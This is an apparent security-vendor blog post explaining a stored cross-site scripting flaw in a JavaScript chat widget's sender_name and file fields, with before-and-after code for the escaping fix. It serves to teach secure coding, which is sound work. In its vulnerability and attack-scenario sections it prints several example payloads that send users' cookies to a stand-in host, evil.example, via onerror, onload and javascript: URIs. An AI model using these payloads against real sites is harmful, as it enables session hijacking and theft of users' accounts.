Back to Blog
critical SEVERITY7 min read

How XSS via unescaped sender_name happens in JavaScript chat widgets and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `frontend/scripts/chat-widget.js` allowed attackers to inject arbitrary JavaScript by crafting a malicious `sender_name` field, which was interpolated directly into a DOM template string without HTML encoding. The `renderFileContent()` function compounded the risk by also inserting unsanitized `file.name` and `file.url` values into `img`, `span`, and `anchor` elements. The fix applies `AppUtils.escapeHTML()` to every user-controlled value befo

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a stored Cross-Site Scripting (XSS) vulnerability (CWE-79) in a JavaScript chat widget (`frontend/scripts/chat-widget.js`). The `renderMessage()` function interpolated the `msg.sender_name` field directly into an innerHTML template string without HTML encoding, and `renderFileContent()` did the same for `file.name` and `file.url`. An attacker could send a chat message with a crafted `sender_name` like `<img src=x onerror='alert(document.cookie)'>` to execute arbitrary JavaScript in every victim's browser. The fix wraps all user-supplied values with the existing `AppUtils.escapeHTML()` helper and uses `CSS.escape()` on a dynamic selector, eliminating the injection points entirely.

Vulnerability at a Glance

cweCWE-79
fixWrap all user-controlled values with AppUtils.escapeHTML() and CSS.escape() before DOM insertion
riskArbitrary JavaScript execution in every user's browser who views the poisoned message
languageJavaScript
root causemsg.sender_name and file properties interpolated into innerHTML template strings without HTML encoding
vulnerabilityStored Cross-Site Scripting (XSS)

How XSS via Unescaped sender_name Happens in JavaScript Chat Widgets and How to Fix It


Summary

A stored Cross-Site Scripting (XSS) vulnerability in frontend/scripts/chat-widget.js allowed attackers to inject arbitrary JavaScript by crafting a malicious sender_name field, which was interpolated directly into a DOM template string without HTML encoding. The renderFileContent() function compounded the risk by also inserting unsanitized file.name and file.url values into img, span, and anchor elements. The fix applies AppUtils.escapeHTML() to every user-controlled value before it touches the DOM, and uses CSS.escape() to sanitize a dynamic CSS selector.


Introduction

The frontend/scripts/chat-widget.js file is responsible for rendering incoming chat messages — including sender names, message bodies, and file attachments — directly into the browser DOM. A flaw in the renderMessage() function at line 300 created a textbook stored XSS vulnerability: while msg.message was correctly encoded via AppUtils.escapeHTML(), the msg.sender_name field at line 323 was dropped raw into an innerHTML template string. A second, equally dangerous path existed inside renderFileContent(), where file.name and file.url were interpolated without encoding into <img>, <span>, and <a> elements.

Because this is a Node.js library, the vulnerability affects every downstream application that embeds the widget — multiplying the potential blast radius far beyond a single deployment.


The Vulnerability Explained

Inconsistent Escaping in renderMessage()

The developer correctly escaped the message body but missed the sender name. Here is the vulnerable line from renderMessage() (line 300, before the fix):

// VULNERABLE — sender_name is raw user input, never encoded
<span class="message-sender">${msg.sender_name || 'User'}</span>

Compare it with the adjacent, correctly-escaped message body:

// Correct — message content IS escaped
${AppUtils.escapeHTML(msg.message)}

This inconsistency is a classic "partial fix" pattern: one field gets attention, the others are forgotten.

Unsanitized File Properties in renderFileContent()

The renderFileContent() function built HTML for both image previews and generic file attachments. Every property of the file object — file.name, file.url, and file.data — was interpolated verbatim:

// VULNERABLE image rendering
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;

// VULNERABLE file attachment rendering
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">

An attacker controlling file.name could break out of the alt attribute with a payload like:

" onload="fetch('https://evil.example/steal?c='+document.cookie)

Or inject a javascript: URI into the href:

javascript:fetch('https://evil.example/steal?c='+document.cookie)

Unsafe CSS Selector Construction in updateMessageReadStatus()

A third injection point existed in updateMessageReadStatus():

// VULNERABLE — messageId is not sanitized before use in a CSS selector
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);

A crafted messageId containing CSS metacharacters (e.g., ") could break the selector syntax or, in some environments, cause unexpected DOM traversal behavior.

The Attack Scenario

An attacker with the ability to send a chat message (a standard capability in any chat application) sends:

{
  "sender_name": "<img src=x onerror='fetch(\"https://evil.example/c?k=\"+document.cookie)'>",
  "message": "Hey there!"
}

Every user who opens the chat window sees the message rendered. The browser executes the onerror handler, silently exfiltrating session cookies to the attacker's server. Because the message is stored server-side, the attack fires for every future visitor — making this a stored (persistent) XSS, not just a reflected one.


The Fix

1. Escaping sender_name in renderMessage()

The fix is a single, targeted wrapper around the unescaped interpolation:

// BEFORE (vulnerable)
<span class="message-sender">${msg.sender_name || 'User'}</span>

// AFTER (safe)
<span class="message-sender">${AppUtils.escapeHTML(msg.sender_name || 'User')}</span>

AppUtils.escapeHTML() was already present in the codebase and already used for msg.message — the fix simply extends its use to the forgotten field.

2. Escaping All File Properties in renderFileContent()

Four interpolation points inside renderFileContent() were updated:

// BEFORE (vulnerable)
return `<img src="${file.url || file.data}" alt="${file.name}" class="message-image" />`;

// AFTER (safe)
return `<img src="${AppUtils.escapeHTML(file.url || file.data)}" alt="${AppUtils.escapeHTML(file.name)}" class="message-image" />`;
// BEFORE (vulnerable)
<span class="file-name">${file.name}</span>
<a href="${file.url || file.data}" download="${file.name}" class="download-link">

// AFTER (safe)
<span class="file-name">${AppUtils.escapeHTML(file.name)}</span>
<a href="${AppUtils.escapeHTML(file.url || file.data)}" download="${AppUtils.escapeHTML(file.name)}" class="download-link">

Escaping the href value is particularly important: it prevents javascript: URI injection, which bypasses many naive XSS filters that only look for <script> tags.

3. Using CSS.escape() in updateMessageReadStatus()

// BEFORE (vulnerable)
const messageEl = document.querySelector(`[data-message-id="${data.messageId}"]`);

// AFTER (safe)
const messageEl = document.querySelector(`[data-message-id="${CSS.escape(String(data.messageId))}"]`);

CSS.escape() is the browser-native API for sanitizing values inserted into CSS selectors. The additional String() cast ensures the function receives a string even if data.messageId arrives as a number or other type.

Why Each Change Was Necessary

Location User-controlled value Risk removed
renderMessage() line 300 msg.sender_name HTML injection / script execution
renderFileContent() image branch file.url, file.data, file.name Attribute injection, javascript: URI
renderFileContent() file branch file.name, file.url, file.data HTML injection, javascript: URI, download attribute injection
updateMessageReadStatus() data.messageId CSS selector injection

Key Takeaways

  • Partial escaping is as dangerous as no escaping. msg.message was escaped; msg.sender_name was not. An attacker only needs one unguarded field.
  • Every property of a user-supplied object is tainted. When iterating over msg or file objects in renderMessage() and renderFileContent(), all fields must be treated as hostile until encoded.
  • href and src attributes need escaping too. Injecting a javascript: URI into an <a href> or <img src> is a valid XSS vector that HTML-encoding the value directly prevents.
  • Dynamic CSS selectors require CSS.escape(). Using data.messageId raw in document.querySelector() is a lesser-known injection surface; the browser-native CSS.escape() API exists precisely for this.
  • The fix required zero new dependencies. AppUtils.escapeHTML() was already in the codebase — the vulnerability existed because it was not applied consistently.

How Orbis AppSec Detected This

  • Source: User-controlled sender_name and file object properties arriving from the chat message payload
  • Sink: Template literal assigned to innerHTML inside renderMessage() (line 300) and renderFileContent() (lines 315–327) in frontend/scripts/chat-widget.js
  • Missing control: No HTML encoding applied to msg.sender_name, file.name, file.url, or file.data before DOM insertion; no CSS.escape() applied to data.messageId before use in document.querySelector()
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Wrapped all user-controlled interpolations with AppUtils.escapeHTML() and applied CSS.escape(String(...)) to the dynamic CSS selector

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that security is only as strong as its least-protected field. The developer did the right thing for msg.message — but stopping there left msg.sender_name and the entire file object as open injection points. A single AppUtils.escapeHTML() call per interpolation, already available in the codebase, was all that stood between a safe widget and a stored XSS that could exfiltrate session cookies from every user who opened the chat. Consistent, systematic encoding of all user-supplied values — not just the ones you remember — is the only reliable defense.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1312

Related Articles

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.